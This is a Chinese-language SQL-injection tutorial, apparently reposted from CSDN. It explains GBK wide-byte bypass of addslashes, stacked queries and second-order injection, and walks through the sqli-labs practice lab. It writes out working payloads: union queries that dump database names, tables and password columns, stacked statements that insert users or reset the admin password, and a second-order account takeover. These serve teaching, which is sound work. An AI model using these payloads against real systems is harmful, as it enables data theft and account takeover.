欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 文旅 > 明星 > SQL注入(宽字节、堆叠、二次注入)

SQL注入(宽字节、堆叠、二次注入)

2024/10/24 15:12:56 来源:https://blog.csdn.net/m0_74249600/article/details/141158854  浏览:    关键词:SQL注入(宽字节、堆叠、二次注入)

目录

【学习目标、重难点知识】

【学习目标】

【重难点知识】

1. 宽字节注入

1.1 什么是宽字节

1.2 gbk编码原理

1.3 宽字节注入原理

1.4 靶场解析

靶场练习

2. 堆叠注入(多语句)

2.1 使用条件

2.2 语句构造

2.3 靶场解析

靶场练习

3. 二次注入

原理

思路

过程回顾

靶场解析

靶场练习


本文所使用的sql注入靶场为sqli-labs-master,靶场资源文件已上传,如有需要请前往主页或以下链接下载

信安必备靶场-sqli-labs-master-用于练习sql注入各种注入类型资源-CSDN文库

【学习目标、重难点知识】

【学习目标】

  1. 宽字节注入
  1. 堆叠注入
  1. 二次注入

【重难点知识】

  1. 宽字节注入
  1. 二次注入

1. 宽字节注入

前言

由于sql注入的盛行,不少网站管理员都意识到了这种攻击方式的厉害,纷纷想出不少办法来避免,例如使用一些Mysql中转义的函数addslashes,mysql_real_escape_string,mysql_escape_string等等。其实这些函数就是为了过滤用户输入的一些数据,对特殊的字符加上反斜杠“\”进行转义。

addslashes() 函数返回在预定义的字符前添加反斜杠的字符串。预定义字符是:
单引号(')
双引号(")
反斜杠(\)
NULL
mysql_real_escape_string() — 将字符串中的特殊字符进行转义\x00
\n
\r
\
'
"
\x1a
mysql_escape_string:注意,php5.3中已经不使用。

1.1 什么是宽字节

宽字节(Wide Byte)是计算机编程和字符编码中的概念,通常指的是使用多字节编码来表示一个字符的字节序列。ascii => GBK =>Unicode=>utf

让我们来解释一下:

  • 单字节字符编码:在单字节字符编码中,每个字符都由一个字节(8位)表示。这意味着每个字符的取值范围在0到255之间。在ASCII编码中,每个字符都由一个字节表示。
  • 双字节字符编码:在双字节字符编码中,每个字符由两个字节(16位)表示。这允许表示更多的字符,包括各种语言中的特殊字符和符号。UTF-16就是一种双字节字符编码。
  • 多字节字符编码:在多字节字符编码中,字符的长度可以是可变的,通常使用不同数量的字节来表示字符。UTF-8是一种常见的多字节字符编码,它可以使用1到4个字节来表示一个字符,具体取决于字符的Unicode码点。

GB2312、GBK、GB18030、BIG5、Shift_JIS等这些都是常说的宽字节,实际上只有两字节。宽字节带来的安全问题主要是吃ASCII字符(一字节)的现象。

GBK是一种多字符的编码,通常来说,一个用gbk编码的汉字,占用2个字节。

1.2 gbk编码原理

GBK(Chinese Internal Code Specification),又称为GB2312的扩展,是一种汉字字符编码方式,用于表示中文字符和一些特殊字符。我们上面说过,**GBK是一种多字符的编码,通常来说,一个用gbk编码的汉字,占用2个字节。**取值范围是(编码位数):第一个字节是(129-254),第二个字节(64-254)

如果设置了“set character_set_client=gbk”(gbk编码设置),通常导致编码转换的注入问题,尤其是使用php连接mysql数据库的时候一个gbk汉字占两个字节,当设置gbk编码后,遇到连续两个字节,都符合gbk取值范围,会自动解析为一个汉字。

宽字节注入的前提条件:

  • 数据库使用GBK编码

判断数据库是否使用了GBK编码:修改浏览器编码格式为gbk,如果没有乱码则是使用了gbk

修改浏览器编码格式共有两种方法,如下:

方法1:

1.打开设置,点击默认浏览器,允许在IE模式下重新加载网站,然后重启浏览器。

2.点击右上角的设置(三点)

3.选择在IE模式下重新加载

4.鼠标右键网页,点击编码,就可以实现了

方法2:

由于有的网页不支持IE模式,可以在浏览器扩展中下载charset来进行编码格式的更改

下载之后点击就可以使用。

原文链接:修改浏览器编码格式_浏览器编码格式怎么设置-CSDN博客

1.3 宽字节注入原理

  • mysql默认使用GBK编码,所以当mysql使用GBk编码时,会认为两个字符是一个汉字
    • 前一个字符ASCII码要大于128,才会得到汉字范围
  • 这就是mysql的特性,因为BGK是多字节编码,它认为两个字节是一个汉字
  • 所以我们在代入参数时,输入%df%27,本来\ 会转义%27,但\(十六进制是 %5C)的编码位数为92,%df的编码位数为223,%df%5c符合gbk取值范围(第一个字节129-254,第二个字节64-254),会解析为一个汉字“運”,这样\就会失去应有的作用。

传入%df'

经过后端php处理%df\'

传到数据库中样子:%df%5c%27=>運'

当我们进行 SQL注入时,会进行以下操作

(1)?id=1' and 1=1 #这是正常的语句,我们使用SQL语句看一下select * from user where id='1' and 1=1 #' 	//可以成功闭合当php使用函数对接受的参数做了处理后,将单引号转义,在单引号前面加上了 转义符"\"在sql中的语句是:select * from user where id='1\' and 1=1 #'select * from user where id='1%df\' and 1=1 #'select * from user where id='1%df%5c' and 1=1 #'select * from user where id='1運' and 1=1 #'# 这时代入数据库查看,这是明显没有注入成功的,因为前面的单引号被转义了,没有闭合

(2) 当我们代入了 %df 时,在数据库中就变成了

?id=1%df' and 1=1 #
  • 这时,转义函数,还会对我们输入的单引号进行转义,转义成 \' 而GBK编码下,反斜杠\的十六进制表示是5C。因此,当你传入的参数为%df\',经过GBK编码处理后,\会被编码成%5C
  • 所以传入数据库中的参数变成了%df%5C'
  • 数据库对sql语句进行GBK编码后,会将%df%5c结合到一起组成 从而通过%df吃掉了反斜杠\
    从而闭合掉了后面的引号,查询成功

最后的sql语句是:

select * from user where id='1運' and 1=1#'1'
经过php后端过滤变成:1\'所以尝试传入:1%df'
经过php处理:1%df\'			//这里反斜杠\,在gbk编码下的%5c
在此处理后:1%df%5c'
传入到数据库中的时候数据库指定了GBK编码,所以编码后%df和%5c进行结合:1運'

1.4 靶场解析

Pass-15 Bypass addslashes()

  • 闭合语句
http://sqli21/Pass-15/index.php?id=1%df'  -- s
  • 判断注入点
http://sqli21/Pass-15/index.php?id=1%df' and 1=1 -- s
http://sqli21/Pass-15/index.php?id=1%df' and 1=2 -- s
  • 判断字段
http://sqli21/Pass-15/index.php?id=1%df' order by 3 -- s
  • 尝试联合查询,定位回显点
http://sqli21/Pass-15/index.php?id=-1%df' union select 1,2,3 -- s
  • 爆出当前用户
http://sqli21/Pass-15/index.php?id=-1%df' union select 1,user(),database() -- s
  • 查找所有的库名
http://sqli21/Pass-15/index.php?id=-1%df' union select 1,2,group_concat(schema_name) from information_schema.schemata -- s
  • 查找所有的表名
http://sqli21/Pass-15/index.php?id=-1%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- s
  • 查找所有的字段名
过滤了双引号,会报错http://sqli21/Pass-15/index.php?id=-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users" -- s

http://sqli21/Pass-15/index.php?id=-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x75736572 -- s
http://sqli21/Pass-15/index.php?id=-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=(select table_name from information_schema.tables where table_schema=database() limit 1,1) -- s
    • 表名转16进制
    • 子查询
  • 爆数据
http://sqli21/Pass-15/index.php?id=-1%df' union select 1,group_concat(password),group_concat(username) from user -- a

靶场练习

Less-32 Bypass addslashes()

Less-33 、Less-34 、Less-35 、Less-36 、Less-37

参考:https://www.cnblogs.com/jinqi520/p/9581510.html

2. 堆叠注入(多语句)

Stacked injections:堆叠注入。从名词的含义就可以看到应该是一堆sql语句(多条)一起执行。而在真实的运用中也是这样的,我们知道在mysql中,主要是命令行中,每一条语句结尾加 ; 表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做stacked injection。

在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。

2.1 使用条件

堆叠注入的使用条件十分有限,其可能受到API或者数据库引擎,又或者权限的限制只有当调用数据库函数支持执行多条sql语句时才能够使用,利用mysqli_multi_query()函数就支持多条sql语句同时执行,但实际情况中,如PHP为了防止sql注入机制,往往使用调用数据库的函数是mysqli_ query(link ,sql)函数,其只能执行一条语句,分号后面的内容将不会被执行,所以可以说堆叠注入的使用条件十分有限,一旦能够被使用,将可能对网站造成十分大的威胁。

2.2 语句构造

正常sql语句:

select * from users where id='1' ;

注入sql语句:

select * from users where id='1';select if(length(database())>5,sleep(5),1)%23

Payload=

1';select if(length(database())>5,sleep(5),1)%23

Payload=

 1';select if(substr(user(),1,1)='r',sleep(3),1)%23 

payload=

1';insert into users(id,username,password) value (666,'zgao','zgao') --+

payload=

1';update users set password = '12345678' where username='admin' -- s

如此句:从堆叠注入语句中可以看出,第二条SQL语句(select if(substr(user(),1,1)=‘r’,sleep(3),1)%23就是时间盲注的语句。

堆叠注入和union的区别在于,union后只能跟select,而堆叠后面可以使用insert,update, create,delete等常规数据库语句。

需要注意的是:在堆叠注入中时间盲注可能不会生效,可以直接使用添加语句测试

2.3 靶场解析

判断是否存在堆叠注入

http://sqli21/Pass-18/index.php?id=1 -- s
http://sqli21/Pass-18/index.php?id=1;select 123 -- s		如果可以返回正常,说明可以进行堆叠如果报错或者返回异常,则不能进行堆叠
http://sqli21/Pass-18/index.php?id=2;insert into user(id,username,password) value (888,'gok','gok123') -- a									

靶场练习

sqli-labs less38 GET -Stacked Query Injection -String based (GET型堆叠查询字符型注入)

sqli-labs less39 GET -Stacked Query Injection -Intiger based (GET型堆叠查询整型注入)

3. 二次注入

原理

二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。防御者即使对用户输入的恶意数据进行转义,当数据插入到数据库中时被处理的数据又被还原,Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。

也就是说一次攻击造成不了什么,但是两次配合起来就会早成注入漏洞。

思路

第一步:插入恶意数据
进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据。

先插入一条数据:

<?php
include_once "database.php";
include_once "member-check.php";$sql="insert into users values (13,'admin/' -- s ','aaaaaaaa/' -- s')";
execute($sql);

再去查看插入的内容

<?php
include_once "database.php";
include_once "member-check.php";//$sql="insert into users values (13,'admin\' -- s','aaaaaaaa\' -- s')";
//execute($sql);$sql="select * from users where id=13";
$query = query($sql);
pre($query);

第二步:引用恶意数据
开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验的处理。

<?php
include_once "database.php";
include_once "member-check.php";//$sql="insert into users values (13,'admin\' -- s','aaaaaaaa\' -- s')";//execute($sql);$sql="select * from users where id=13";
$query = query($sql);
pre($query);$username=$query[0]['username'];
//echo $username;13  用户名:tom' -- s   密码:aaaaaaaa' -- sold:123new:123456renew:$sql="update users set password='123456' where username='tom' -- s' and old='aaaaaaaa' -- s'";
echo $sql;
execute($sql);

过程回顾

第一次插入恶意代码值:

插入的值:admin' -- s
经过后端过滤之后变成:admin\' -- s
存储到数据库的时候,数据库把反斜杠给去掉了,这时候就变成原来的值:admin' -- s

第二次执行的操作,调用了第一次插入的值

update users set password='admin' where username='admin' -- s'		实际上修改的是账号:adminselect * from users where username='admin' -- s'
delete from users where username='admin' -- s'

靶场解析

Pass - 19 二次注入

因为修改密码的语句为:
update user set password=$password where username=("gok") -- a "and password=$oldpassword; 
先创建账号(保证账号可以正常登录,而且可以注释掉后面的旧密码验证)
注册账号:gok' -- s密码:123456注册后直接登录,修改密码
输入新的密码12345678,原始密码、确认密码不用输入,因为会被注释掉,输入后的语句为:
update user 
set password=12345678 
where username=gok' -- s and password=123456; 这个时候就在不知道gokAdmin这个账户的密码情况下修改了它的密码。然后直接登录

靶场练习

Less - 24 Second Degree Injections Real treat -Store Injections (二次注入)

------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

之后我会继续出sql注入知识点总结直至完整,如有需要请关注持续更新(本文部分内容来自课件,如有版权问题请与我联系)

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com